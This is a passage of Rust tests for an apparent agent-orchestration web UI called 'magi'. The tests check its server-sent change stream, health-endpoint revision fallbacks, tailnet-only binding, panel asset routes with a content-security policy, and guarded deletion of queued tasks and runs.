12985                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12986            )
12987            .await
12988            .expect("write request");
12989
12990        // Read until the first event arrives rather than to end of stream: the
12991        // stream is endless by design, which is the point of the route.
12992        let mut seen = String::new();
12993        let mut buf = [0u8; 1024];
12994        while !seen.contains("event: change") {
12995            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12996                .await
12997                .expect("the stream must speak within five seconds")
12998                .expect("read");
12999            assert!(read > 0, "the server closed the change stream: {seen}");
13000            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13001        }
13002
13003        assert!(
13004            seen.to_lowercase()
13005                .contains("content-type: text/event-stream"),
13006            "the browser only reconnects automatically for a real SSE stream: {seen}"
13007        );
13008        let data = seen
13009            .lines()
13010            .find_map(|l| l.strip_prefix("data:"))
13011            .expect("a data line");
13012        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13013        assert!(
13014            payload["queue_rev"].is_u64()
13015                && payload["runs_rev"].is_u64()
13016                && payload["questions_rev"].is_u64()
13017                && payload["talks_rev"].is_u64()
13018                && payload["notifications_rev"].is_u64()
13019                && payload["loop_rev"].is_u64(),
13020            "the client needs one revision per store to know what to refetch, \
13021             and `talks_rev` is the only notification a standing talk gets - a \
13022             phone whose radio slept through a turn learns about it here, as \
13023             does one whose operator started the loop from another device: \
13024             {payload}"
13025        );
13026
13027        // The front end re-polls health on a timer and on wake, and takes the
13028        // revisions from that answer whenever the stream is not up. So health
13029        // has to carry every key the stream carries: a phone on a link that
13030        // will not hold an SSE connection is exactly the phone that must still
13031        // notice a question, and a missing key there is not a 500 but a UI
13032        // that quietly stops updating.
13033        let health = f.get("/api/health").await.json();
13034        for key in [
13035            "queue_rev",
13036            "runs_rev",
13037            "questions_rev",
13038            "talks_rev",
13039            "notifications_rev",
13040            "loop_rev",
13041        ] {
13042            assert!(
13043                health[key].is_u64(),
13044                "health is the change stream's fallback and is missing `{key}`: {health}"
13045            );
13046        }
13047    }
13048
13049    #[tokio::test]
13050    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13051        let f = Fixture::start().await;
13052        let before = f.get("/api/health").await.json()["talks_rev"]
13053            .as_u64()
13054            .expect("talks_rev");
13055
13056        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13057        std::thread::sleep(Duration::from_millis(10));
13058        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13059        on_disk.turns.push(crate::talk::Turn {
13060            who: crate::talk::Who::Operator,
13061            body: "a new turn".to_owned(),
13062            at: Timestamp::now(),
13063            attachments: Vec::new(),
13064            usage: None,
13065        });
13066        f.talks().put(&mut on_disk).expect("record a turn");
13067
13068        let after = f.get("/api/health").await.json()["talks_rev"]
13069            .as_u64()
13070            .expect("talks_rev");
13071        assert_ne!(
13072            before, after,
13073            "a phone must be able to notice a talk's reply without polling every store"
13074        );
13075    }
13076
13077    #[test]
13078    fn bind_reads_back_from_the_spelling_the_cli_prints() {
13079        // The CLI shows the default in `--help` and parses whatever comes
13080        // back, so the two directions have to agree or `--bind auto` breaks
13081        // the moment someone copies the help text.
13082        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13083            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13084        }
13085        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13086        assert!("everywhere".parse::<Bind>().is_err());
13087    }
13088
13089    #[test]
13090    fn an_explicit_bind_address_is_taken_verbatim() {
13091        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13092
13093        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13094
13095        assert_eq!(addr, asked);
13096        assert!(
13097            warning.is_none(),
13098            "an operator who named an address gets no lecture"
13099        );
13100    }
13101
13102    #[test]
13103    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13104        let (addr, warning) = resolve_bind(&Bind::Auto);
13105
13106        // This has to hold on a CI runner with no `tailscale` and on a dev box
13107        // with one, so the invariant asserted is the one shared by both
13108        // outcomes: the address is either a real tailnet address offered
13109        // without comment, or loopback with an explanation. What must never
13110        // happen is a silent fallback - an operator told "listening on
13111        // 127.0.0.1" with no reason would go looking for a firewall.
13112        match addr {
13113            IpAddr::V4(ip) if is_tailnet(&ip) => {
13114                assert!(warning.is_none(), "a tailnet address needs no warning");
13115            }
13116            other => {
13117                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13118                let warning = warning.expect("a fallback has to explain itself");
13119                assert!(
13120                    warning.contains("127.0.0.1") && warning.contains("local-only"),
13121                    "the warning says what happened and what it costs: {warning}"
13122                );
13123            }
13124        }
13125    }
13126
13127    #[test]
13128    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13129        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
13130        // boundary cases are what stop us binding to some other tool's idea of
13131        // an address.
13132        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13133        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13134        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13135        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13136        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13137    }
13138
13139    #[test]
13140    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13141        let ids = vec![
13142            "20260902-140501-aaaa".to_owned(),
13143            "20260902-140502-aabb".to_owned(),
13144        ];
13145
13146        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13147        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13148        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13149
13150        assert_eq!(missing.status, StatusCode::NOT_FOUND);
13151        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13152        assert_eq!(short, "20260902-140502-aabb");
13153    }
13154    #[tokio::test]
13155    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13156        // The prompt tells agents to reference attachments by bare filename.
13157        // A document served at `.../panel` resolves `shot.png` against its own
13158        // directory, i.e. `.../shot.png`, which is not the asset route - so a
13159        // panel written exactly as instructed showed broken images. Caught by
13160        // looking at a real one in a browser, not by reading the code.
13161        let fx = Fixture::start().await;
13162        let id = panel(
13163            &fx,
13164            "<img src=\"shot.png\">",
13165            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13166        );
13167
13168        // The frame's own URL ends in a filename, so its siblings are reachable.
13169        let doc = fx
13170            .get(&format!("/api/questions/{id}/panel/index.html"))
13171            .await;
13172        assert_eq!(doc.status, 200, "{}", doc.body);
13173        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13174
13175        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13176        assert_eq!(sibling.status, 200, "{}", sibling.body);
13177        assert_eq!(sibling.header("content-type"), Some("image/png"));
13178        assert_eq!(
13179            sibling.header("content-security-policy"),
13180            Some(PANEL_CSP),
13181            "the sibling route must carry the same policy as the asset route"
13182        );
13183
13184        // The original spelling keeps working: HEAD on it is how the front end
13185        // decides whether to mount a frame at all.
13186        assert_eq!(
13187            fx.head(&format!("/api/questions/{id}/panel")).await.status,
13188            200
13189        );
13190    }
13191
13192    #[test]
13193    fn delta_stamps_cover_add_update_remove_and_noop() {
13194        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13195        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13196        let delta = diff_stamps(&before, &after, 42);
13197        assert_eq!(delta.base, 42);
13198        assert_eq!(delta.changed, ["b", "c"]);
13199        assert_eq!(delta.removed, ["a"]);
13200        let same = diff_stamps(&after, &after, 43);
13201        assert!(same.changed.is_empty() && same.removed.is_empty());
13202        assert_ne!(stamps_revision(&before), stamps_revision(&after));
13203        let nanos: Stamps = [("b".into(), (2, 20))].into();
13204        let same_ms: Stamps = [("b".into(), (3, 20))].into();
13205        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13206        assert_eq!(stamps_revision(&Stamps::new()), 0);
13207    }
13208
13209    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13210        std::fs::create_dir_all(home.join("runs")).unwrap();
13211        Arc::new(Ui::new(
13212            Queue::at(home.join("queue")),
13213            Questions::at(home.join("questions")),
13214            Talks::at(home.join("talks")),
13215            home.join("runs"),
13216            home.to_owned(),
13217            PathBuf::from("/repo/magi"),
13218        ))
13219    }
13220
13221    #[tokio::test]
13222    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13223        let home = TempDir::new().unwrap();
13224        let ui = delta_test_ui(home.path());
13225        let mut task = Task::new(
13226            "stream task".into(),
13227            "text".into(),
13228            PathBuf::from("/repo"),
13229            Source::Human,
13230        );
13231        ui.queue.put(&mut task).unwrap();
13232        let response = events(State(ui.clone())).await.into_response();
13233        let mut stream = response.into_body().into_data_stream();
13234        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13235            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13236                .await
13237                .unwrap()
13238                .unwrap()
13239                .unwrap();
13240            let text = String::from_utf8(chunk.to_vec()).unwrap();
13241            let data = text
13242                .lines()
13243                .find_map(|line| {
13244                    line.strip_prefix("data: ")
13245                        .or_else(|| line.strip_prefix("data:"))
13246                })
13247                .unwrap();
13248            serde_json::from_str(data).unwrap()
13249        }
13250        let initial = change(&mut stream).await;
13251        assert!(initial.get("queue_delta").is_none());
13252        task.instruction.push_str(" changed");
13253        ui.queue.put(&mut task).unwrap();
13254        let updated = change(&mut stream).await;
13255        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13256        assert_eq!(
13257            updated["queue_delta"]["changed"],
13258            serde_json::json!([task.id])
13259        );
13260        assert_eq!(
13261            updated["queue_rev"].as_u64(),
13262            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13263        );
13264        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13265        let removed = change(&mut stream).await;
13266        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13267        assert_eq!(
13268            removed["queue_delta"]["removed"],
13269            serde_json::json!([task.id])
13270        );
13271    }
13272
13273    #[tokio::test]
13274    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13275        let home = TempDir::new().unwrap();
13276        let ui = delta_test_ui(home.path());
13277        let queue = ui.queue.clone();
13278        let query = |ids: Option<&str>| {
13279            Query(ListQuery {
13280                limit: Some(2),
13281                ids: ids.map(str::to_owned),
13282            })
13283        };
13284        let mut root = Task::new(
13285            "root".into(),
13286            "instruction".into(),
13287            PathBuf::from("/repo"),
13288            Source::Human,
13289        );
13290        queue.put(&mut root).unwrap();
13291        let mut blocked = Task::new(
13292            "blocked".into(),
13293            "instruction".into(),
13294            PathBuf::from("/repo"),
13295            Source::Human,
13296        );
13297        blocked.block(vec![root.id.clone()], None);
13298        queue.put(&mut blocked).unwrap();
13299        let whole =
13300            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13301                .unwrap();
13302        let subset = serde_json::to_value(
13303            queue_list(State(ui.clone()), query(Some(&root.id)))
13304                .await
13305                .unwrap()
13306                .0,
13307        )
13308        .unwrap();
13309        assert_eq!(whole, subset, "requested root plus its blocked dependent");
13310        let blockers = serde_json::to_value(
13311            queue_list(State(ui.clone()), query(Some("")))
13312                .await
13313                .unwrap()
13314                .0,
13315        )
13316        .unwrap();
13317        assert_eq!(blockers.as_array().unwrap().len(), 1);
13318        assert_eq!(blockers[0]["id"], blocked.id);
13319        assert_eq!(
13320            blockers[0]["waits_on"],
13321            whole
13322                .as_array()
13323                .unwrap()
13324                .iter()
13325                .find(|row| row["id"] == blocked.id)
13326                .unwrap()["waits_on"]
13327        );
13328
13329        for id in [
13330            "20260902-140501-aaaa",
13331            "20260902-140502-bbbb",
13332            "20260902-140503-cccc",
13333        ] {
13334            write_run(&ui.runs, id, RunStatus::Merged);
13335        }
13336        let old = serde_json::to_value(
13337            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13338                .await
13339                .unwrap()
13340                .0,
13341        )
13342        .unwrap();
13343        assert!(
13344            old.as_array().unwrap().is_empty(),
13345            "older updates must not enter the window"
13346        );
13347        let newest = serde_json::to_value(
13348            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13349                .await
13350                .unwrap()
13351                .0,
13352        )
13353        .unwrap();
13354        assert_eq!(newest.as_array().unwrap().len(), 1);
13355        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13356
13357        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13358        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13359        let talks = serde_json::to_value(
13360            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13361                .await
13362                .unwrap()
13363                .0,
13364        )
13365        .unwrap();
13366        assert_eq!(talks.as_array().unwrap().len(), 1);
13367        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13368        assert_eq!(
13369            serde_json::to_value(
13370                talks_list(State(ui.clone()), query(Some("")))
13371                    .await
13372                    .unwrap()
13373                    .0
13374            )
13375            .unwrap(),
13376            serde_json::json!([])
13377        );
13378    }
13379
13380    #[tokio::test]
13381    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13382    async fn delta_payload_benchmark() {
13383        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13384        let ui = delta_test_ui(&home);
13385        let query = |ids: Option<String>| {
13386            Query(ListQuery {
13387                limit: Some(50),
13388                ids,
13389            })
13390        };
13391        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13392        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13393        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13394        let queue_id = queue
13395            .iter()
13396            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13397            .unwrap_or(&queue[0])
13398            .task
13399            .id
13400            .clone();
13401        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13402            .await
13403            .unwrap()
13404            .0;
13405        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13406            .await
13407            .unwrap()
13408            .0;
13409        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13410            .await
13411            .unwrap()
13412            .0;
13413        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13414        eprintln!(
13415            "DELTA_PAYLOAD {}",
13416            serde_json::json!({
13417                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13418                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13419                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13420                "counts": [queue.len(), runs.len(), talks.len()],
13421                "blocked": queue_delta.len() - 1,
13422            })
13423        );
13424    }
13425
13426    #[test]
13427    fn runs_revision_moves_when_deleting_an_older_run() {
13428        let temp = TempDir::new().expect("tempdir");
13429        let runs = temp.path().join("runs");
13430        std::fs::create_dir_all(&runs).expect("create runs dir");
13431
13432        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13433
13434        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13435        std::thread::sleep(Duration::from_millis(10));
13436        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13437
13438        let rev_before = runs_revision(&runs);
13439        assert!(rev_before > 0);
13440
13441        let old_dir = runs.join("20260901-100000-old1");
13442        std::fs::remove_dir_all(&old_dir).expect("remove old run");
13443
13444        let rev_after = runs_revision(&runs);
13445        assert_ne!(
13446            rev_before, rev_after,
13447            "deleting an older run must change the revision so other clients see the deletion"
13448        );
13449    }
13450
13451    /// A run's own `run.json` on an explicit `runs` root, bypassing the
13452    /// process-global home entirely — `RunState::save` writes through
13453    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
13454    /// (see `tests::home_lock` in the integration suite for why).
13455    fn write_state(runs: &FsPath, state: &RunState) {
13456        let dir = runs.join(&state.id);
13457        std::fs::create_dir_all(&dir).expect("run dir");
13458        std::fs::write(
13459            dir.join("run.json"),
13460            serde_json::to_string_pretty(state).expect("serialize run"),
13461        )
13462        .expect("write run.json");
13463    }
13464
13465    /// A seat starting or finishing is a write to `run.json` like any other,
13466    /// so it moves the same revision the change stream already watches —
13467    /// nothing new for `/api/events` to learn, but the property this feature
13468    /// depends on to reach the phone without a poll.
13469    #[test]
13470    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13471        let temp = TempDir::new().expect("tempdir");
13472        let runs = temp.path().join("runs");
13473        std::fs::create_dir_all(&runs).expect("create runs dir");
13474        let mut state = RunState::new(
13475            PathBuf::from("/repo/magi"),
13476            "main".to_owned(),
13477            "0123456789abcdef".to_owned(),
13478            "task".to_owned(),
13479            Config::default(),
13480        );
13481        state.id = "20260902-100000-c0de".to_owned();
13482        write_state(&runs, &state);
13483
13484        let rev_idle = runs_revision(&runs);
13485        std::thread::sleep(Duration::from_millis(10));
13486        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13487        write_state(&runs, &state);
13488        let rev_started = runs_revision(&runs);
13489        assert_ne!(
13490            rev_idle, rev_started,
13491            "a seat starting must move the revision"
13492        );
13493
13494        std::thread::sleep(Duration::from_millis(10));
13495        state.seat_finished("judge-1");
13496        write_state(&runs, &state);
13497        let rev_finished = runs_revision(&runs);
13498        assert_ne!(
13499            rev_started, rev_finished,
13500            "and clearing it again must move the revision a second time"
13501        );
13502    }
13503
13504    #[tokio::test]
13505    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13506        // `TaskView` flattens `Task`, so this is really asserting that
13507        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
13508        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
13509        // never touched web.rs, so nothing here caught it if it had.
13510        let fx = Fixture::start().await;
13511        let q = fx.queue();
13512
13513        let mut t = Task::new(
13514            "Task".to_owned(),
13515            "Instruction".to_owned(),
13516            PathBuf::from("/repo"),
13517            Source::Human,
13518        );
13519        t.block(
13520            vec!["20260101-000000-dead".to_owned()],
13521            Some("waiting on Task 1".to_owned()),
13522        );
13523        t.answers.push(crate::queue::AnsweredQuestion {
13524            question: "Which backend?".to_owned(),
13525            answer: "SQLite".to_owned(),
13526        });
13527        q.put(&mut t).expect("put t");
13528
13529        let res = fx.get("/api/queue").await;
13530        assert_eq!(res.status, 200);
13531        let list = res.json();
13532        let view = list
13533            .as_array()
13534            .expect("array")
13535            .iter()
13536            .find(|v| v["id"] == t.id)
13537            .expect("task in list");
13538        assert_eq!(view["status_str"], "blocked");
13539        assert_eq!(
13540            view["blocked_by"],
13541            serde_json::json!(["20260101-000000-dead"])
13542        );
13543        assert_eq!(view["block_reason"], "waiting on Task 1");
13544        assert_eq!(view["answers"][0]["question"], "Which backend?");
13545        assert_eq!(view["answers"][0]["answer"], "SQLite");
13546
13547        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
13548        // but never `answers` - that is a settled decision, not state
13549        // describing the current block, so it survives.
13550        let res = fx
13551            .post(&format!("/api/queue/{}/hold", t.short()), None)
13552            .await;
13553        assert_eq!(res.status, 200);
13554        let held = res.json();
13555        assert_eq!(held["status_str"], "held");
13556        assert_eq!(held["blocked_by"], serde_json::json!([]));
13557        assert!(held["block_reason"].is_null());
13558        assert_eq!(held["answers"][0]["answer"], "SQLite");
13559    }
13560
13561    #[tokio::test]
13562    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13563        let fx = Fixture::start().await;
13564        let q = fx.queue();
13565        let mk = |title: &str| {
13566            Task::new(
13567                title.to_owned(),
13568                "Instruction".to_owned(),
13569                PathBuf::from("/repo"),
13570                Source::Human,
13571            )
13572        };
13573        let mut root = mk("root");
13574        root.hold_manual(Some("waiting".to_owned()));
13575        q.put(&mut root).unwrap();
13576        let mut mid = mk("mid");
13577        mid.block(vec![root.id.clone()], None);
13578        q.put(&mut mid).unwrap();
13579        let mut leaf = mk("leaf");
13580        leaf.block(vec![mid.id.clone()], None);
13581        q.put(&mut leaf).unwrap();
13582
13583        let list = fx.get("/api/queue").await.json();
13584        let find = |id: &str| {
13585            list.as_array()
13586                .unwrap()
13587                .iter()
13588                .find(|v| v["id"] == id)
13589                .unwrap()
13590                .clone()
13591        };
13592        let leaf_view = find(&leaf.id);
13593        assert_eq!(
13594            leaf_view["waits_on"],
13595            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13596        );
13597        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13598        assert_eq!(
13599            find(&mid.id)["waits_on"],
13600            serde_json::json!([format!("{} (held)", root.short())])
13601        );
13602        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13603    }
13604
13605    #[tokio::test]
13606    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13607        let fx = Fixture::start().await;
13608        let q = fx.queue();
13609
13610        // 1. A queued task with runs attached can be deleted.
13611        let mut t1 = Task::new(
13612            "Task 1".to_owned(),
13613            "Instruction 1".to_owned(),
13614            PathBuf::from("/repo"),
13615            Source::Human,
13616        );
13617        let run_id = "20260901-000000-r111";
13618        t1.runs.push(run_id.to_owned());
13619        write_run(&fx.runs(), run_id, RunStatus::Merged);
13620        q.put(&mut t1).expect("put t1");
13621
13622        // Delete by short id
13623        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13624        assert_eq!(res.status, 204);
13625        assert!(res.body.is_empty(), "204 No Content has no body");
13626        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13627        assert!(
13628            fx.runs().join(run_id).exists(),
13629            "run directory must not be deleted when its task is deleted"
13630        );
13631
13632        // 2. A task a live daemon is running is refused with 409.
13633        let mut t2 = Task::new(
13634            "Task 2".to_owned(),
13635            "Instruction 2".to_owned(),
13636            PathBuf::from("/repo"),
13637            Source::Human,
13638        );
13639        t2.status = TaskStatus::Running;
13640        q.put(&mut t2).expect("put t2");
13641        let mut beat = crate::daemon::Status::new();
13642        beat.current = vec![crate::daemon::Current {
13643            task: t2.id.clone(),
13644            run: "20260901-000000-r222".to_owned(),
13645        }];
13646        beat.updated_at = jiff::Timestamp::now();
13647        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13648            .expect("publish a heartbeat");
13649        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13650        assert_eq!(res.status, 409);
13651        assert!(
13652            res.json()["error"]
13653                .as_str()
13654                .unwrap()
13655                .contains("live daemon")
13656        );
13657        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13658
13659        // 3. The same `running` status and an orphaned lock, with no daemon
13660        // behind either, is a leftover and deletable. Before this the phone
13661        // refused it for good: the status never changes on its own and
13662        // nothing drops a lock whose process is gone.
13663        // The daemon is killed: the file stays, the heartbeat stops.
13664        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13665        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13666            .expect("leave a stale heartbeat");
13667        let mut t3 = Task::new(
13668            "Task 3".to_owned(),
13669            "Instruction 3".to_owned(),
13670            PathBuf::from("/repo"),
13671            Source::Human,
13672        );
13673        t3.status = TaskStatus::Running;
13674        q.put(&mut t3).expect("put t3");
13675        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13676        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13677        assert_eq!(res.status, 204);
13678        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13679        assert!(
13680            q.claim(&t3.id).is_ok(),
13681            "the stale lock went with it, so the id is claimable again"
13682        );
13683
13684        // 4. Missing id returns 404
13685        let res = fx.delete("/api/queue/nonexistent").await;
13686        assert_eq!(res.status, 404);
13687    }
13688
13689    #[tokio::test]
13690    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13691        let fx = Fixture::start().await;
13692        let runs = fx.runs();
13693
13694        // 1. Finished and folded run can be deleted along with artifacts
13695        let run_id = "20260901-000000-fold";
13696        let mut state = RunState::new(
13697            PathBuf::from("/repo"),
13698            "main".to_owned(),
13699            "abc".to_owned(),
13700            "instruction".to_owned(),
13701            Config::default(),
13702        );
13703        state.id = run_id.to_owned();
13704        state.status = RunStatus::Merged;
13705        state.candidates.push(crate::run::Candidate {
13706            index: 0,
13707            label: 'A',
13708            agent: "a".to_owned(),
13709            branch: "b".to_owned(),
13710            worktree: PathBuf::from("/w"),
13711            summary: String::new(),
13712            stat: String::new(),
13713            files: 1,
13714            commits: 1,
13715            empty: false,
13716            failed: None,
13717            verified_noop: None,
13718            duration_ms: 0,
13719            folded: true,
13720        });
13721        let dir = runs.join(run_id);
13722        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13723        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13724            .expect("write artifact");
13725        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13726            .expect("write run.json");
13727
13728        // Delete by short id
13729        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13730        assert_eq!(res.status, 204);
13731        assert!(res.body.is_empty(), "204 has no body");
13732        assert!(!dir.exists(), "run directory and artifacts must be deleted");
13733
13734        // 2. A run a live daemon is working on is refused with 409. The
13735        // heartbeat is what makes it refusable: an unfinished run with no
13736        // daemon behind it is a leftover from a killed process, and case 1
13737        // above would otherwise be impossible to tell apart from this one.
13738        let run_running = "20260901-000000-rung";
13739        write_run(&runs, run_running, RunStatus::Prep);
13740        let mut beat = crate::daemon::Status::new();
13741        beat.current = vec![crate::daemon::Current {
13742            task: "20260901-000000-task".to_owned(),
13743            run: run_running.to_owned(),
13744        }];
13745        beat.updated_at = jiff::Timestamp::now();
13746        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13747            .expect("publish a heartbeat");
13748        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13749        assert_eq!(res.status, 409);
13750        assert!(
13751            res.json()["error"]
13752                .as_str()
13753                .unwrap()
13754                .contains("live daemon"),
13755            "the refusal must say who is holding it"
13756        );
13757        assert!(
13758            runs.join(run_running).exists(),
13759            "a run in flight keeps its directory"
13760        );
13761
13762        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
13763        let run_unfolded = "20260901-000000-unfd";
13764        let mut state2 = RunState::new(
13765            PathBuf::from("/repo"),
13766            "main".to_owned(),
13767            "abc".to_owned(),
13768            "instruction".to_owned(),
13769            Config::default(),
13770        );
13771        state2.id = run_unfolded.to_owned();
13772        state2.status = RunStatus::Ready;
13773        state2.candidates.push(crate::run::Candidate {
13774            index: 0,
13775            label: 'A',
13776            agent: "a".to_owned(),
13777            branch: "b".to_owned(),
13778            worktree: PathBuf::from("/w"),
13779            summary: String::new(),
13780            stat: String::new(),
13781            files: 1,
13782            commits: 1,
13783            empty: false,
13784            failed: None,
13785            verified_noop: None,
13786            duration_ms: 0,
13787            folded: false,
13788        });
13789        let dir2 = runs.join(run_unfolded);
13790        std::fs::create_dir_all(&dir2).expect("create dir2");
13791        std::fs::write(
13792            dir2.join("run.json"),
13793            serde_json::to_string(&state2).unwrap(),
13794        )
13795        .expect("write run.json");
13796
13797        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13798        assert_eq!(res.status, 409);
13799        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13800        assert!(dir2.exists(), "unfolded run directory is kept");
13801
13802        // 4. Missing id returns 404
13803        let res = fx.delete("/api/runs/nonexistent").await;
13804        assert_eq!(res.status, 404);
13805    }
13806
13807    /// The queue tiles on the Stats tab must render even on a home with no
13808    /// runs at all: queue state is not derived from run history, so hiding
13809    /// the whole dashboard body behind "no runs yet" would drop the one
13810    /// thing this tab promises unconditionally (queued/running/held/done).
13811    /// A DOM-level test would need a browser this suite does not have, so
13812    /// this pins the same invariant textually: `renderStatsQueue` is called
13813    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
13814    /// block that gates the run-derived panels.
13815    #[test]
13816    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13817        let start = APP_JS
13818            .find("function renderStats() {")
13819            .expect("renderStats");
13820        let end = start
13821            + APP_JS[start..]
13822                .find("function statsTile(")
13823                .expect("the next top-level function");
13824        let body = &APP_JS[start..end];
13825
13826        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13827        let gate_end = gate_start
13828            + body[gate_start..]
13829                .find("}\n  renderStatsQueue")
13830                .expect("the gate's own closing brace, right before the unconditional call");
13831        let gated = &body[gate_start..gate_end];
13832
13833        assert_eq!(
13834            body.matches("renderStatsQueue(").count(),
13835            1,
13836            "renderStats must call renderStatsQueue exactly once: {body}"
13837        );
13838        assert!(
13839            !gated.contains("renderStatsQueue"),
13840            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13841             run-derived panels on an empty run history - the queue panel has to render \
13842             regardless: {gated}"
13843        );
13844    }
13845
13846    #[test]
13847    fn web_ui_delete_contract_in_front_end() {
13848        // 1. API block has both delete endpoints
13849        assert!(APP_JS.contains("deleteRun:"));
13850        assert!(APP_JS.contains("deleteTask:"));
13851
13852        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
13853        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13854            ..APP_JS.find("function renderRuns").unwrap()];
